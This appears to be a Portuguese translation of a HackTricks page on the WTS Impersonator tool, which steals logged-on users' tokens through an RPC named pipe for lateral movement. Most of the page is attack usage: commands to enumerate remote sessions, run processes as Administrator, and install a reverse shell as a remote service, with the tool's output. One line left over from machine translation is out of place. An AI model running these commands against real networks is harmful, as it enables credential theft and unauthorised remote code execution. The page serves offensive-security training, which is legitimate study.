hacktricks/windows-hardening/stealing-credentials/WTS-Impersonator.md

6 KiB

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

WTS Impersonator explora o pipe nomeado RPC “\pipe\LSM_API_service” para enumerar usuários logados e roubar tokens de outros usuários sem usar a técnica normal de "Impersonation de Token", permitindo movimento lateral fácil e discreto. Essa técnica foi pesquisada e desenvolvida por Omri Baso.

A ferramenta WTSImpersonator pode ser encontrada no github.

WTSEnumerateSessionsA → WTSQuerySessionInformationA -> WTSQueryUserToken -> CreateProcessAsUserW

Módulo enum:

Enumera Usuários Locais na máquina em que a ferramenta está sendo executada

.\WTSImpersonator.exe -m enum

Enumerar uma máquina remotamente dado um IP ou um Hostname.

.\WTSImpersonator.exe -m enum -s 192.168.40.131

Módulo exec / exec-remote:

Tanto "exec" quanto "exec-remote" requerem estar em um contexto de "Serviço". O módulo local "exec" não precisa de nada além do WTSImpersonator.exe e do binário que você deseja executar -c flag, isso poderia ser um normal "C:\Windows\System32\cmd.exe" e você abrirá um CMD como o usuário desejado, um exemplo seria

.\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe

você poderia usar PsExec64.exe para obter um contexto de serviço

.\PsExec64.exe -accepteula -s cmd.exe

Para exec-remote, as coisas são um pouco diferentes, eu criei um serviço que pode ser instalado remotamente, assim como PsExec.exe o serviço receberá um SessionId e um binário para executar como argumento e será instalado e executado remotamente, dado as permissões corretas um exemplo de execução seria o seguinte:

PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m enum -s 192.168.40.129

__          _________ _____ _____                                                 _
\ \        / /__   __/ ____|_   _|                                               | |
\ \  /\  / /   | | | (___   | |  _ __ ___  _ __   ___ _ __ ___  ___  _ __   __ _| |_ ___  _ __
\ \/  \/ /    | |  \___ \  | | | '_ ` _ \| '_ \ / _ \ '__/ __|/ _ \| '_ \ / _` | __/ _ \| '__|
\  /\  /     | |  ____) |_| |_| | | | | | |_) |  __/ |  \__ \ (_) | | | | (_| | || (_) | |
\/  \/      |_| |_____/|_____|_| |_| |_| .__/ \___|_|  |___/\___/|_| |_|\__,_|\__\___/|_|
| |
|_|
By: Omri Baso
WTSEnumerateSessions count: 1
[2] SessionId: 2 State: WTSDisconnected (4) WinstationName: ''
WTSUserName:  Administrator
WTSDomainName: LABS
WTSConnectState: 4 (WTSDisconnected)

como pode ser visto acima, o Sessionid da conta de Administrador é 2, então o usamos a seguir na variável id ao executar código remotamente

PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2

Módulo user-hunter:

O módulo user hunter permite enumerar múltiplas máquinas e, se um determinado usuário for encontrado, executará código em nome deste usuário. Isso é útil ao procurar por "Domain Admins" quando se tem direitos de administrador local em algumas máquinas.

.\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe

Sure, please provide the example text you would like translated.

PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m user-hunter -uh LABS/Administrator -ipl .\test.txt -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe

__          _________ _____ _____                                                 _
\ \        / /__   __/ ____|_   _|                                               | |
\ \  /\  / /   | | | (___   | |  _ __ ___  _ __   ___ _ __ ___  ___  _ __   __ _| |_ ___  _ __
\ \/  \/ /    | |  \___ \  | | | '_ ` _ \| '_ \ / _ \ '__/ __|/ _ \| '_ \ / _` | __/ _ \| '__|
\  /\  /     | |  ____) |_| |_| | | | | | |_) |  __/ |  \__ \ (_) | | | | (_| | || (_) | |
\/  \/      |_| |_____/|_____|_| |_| |_| .__/ \___|_|  |___/\___/|_| |_|\__,_|\__\___/|_|
| |
|_|
By: Omri Baso

[+] Hunting for: LABS/Administrator On list: .\test.txt
[-] Trying: 192.168.40.131
[+] Opned WTS Handle: 192.168.40.131
[-] Trying: 192.168.40.129
[+] Opned WTS Handle: 192.168.40.129

----------------------------------------
[+] Found User: LABS/Administrator On Server: 192.168.40.129
[+] Getting Code Execution as: LABS/Administrator
[+] Trying to execute remotly
[+] Transfering file remotely from: .\WTSService.exe To: \\192.168.40.129\admin$\voli.exe
[+] Transfering file remotely from: .\SimpleReverseShellExample.exe To: \\192.168.40.129\admin$\DrkSIM.exe
[+] Successfully transfered file!
[+] Successfully transfered file!
[+] Sucessfully Transferred Both Files
[+] Will Create Service voli
[+] Create Service Success : "C:\Windows\voli.exe" 2 C:\Windows\DrkSIM.exe
[+] OpenService Success!
[+] Started Sevice Sucessfully!

[+] Deleted Service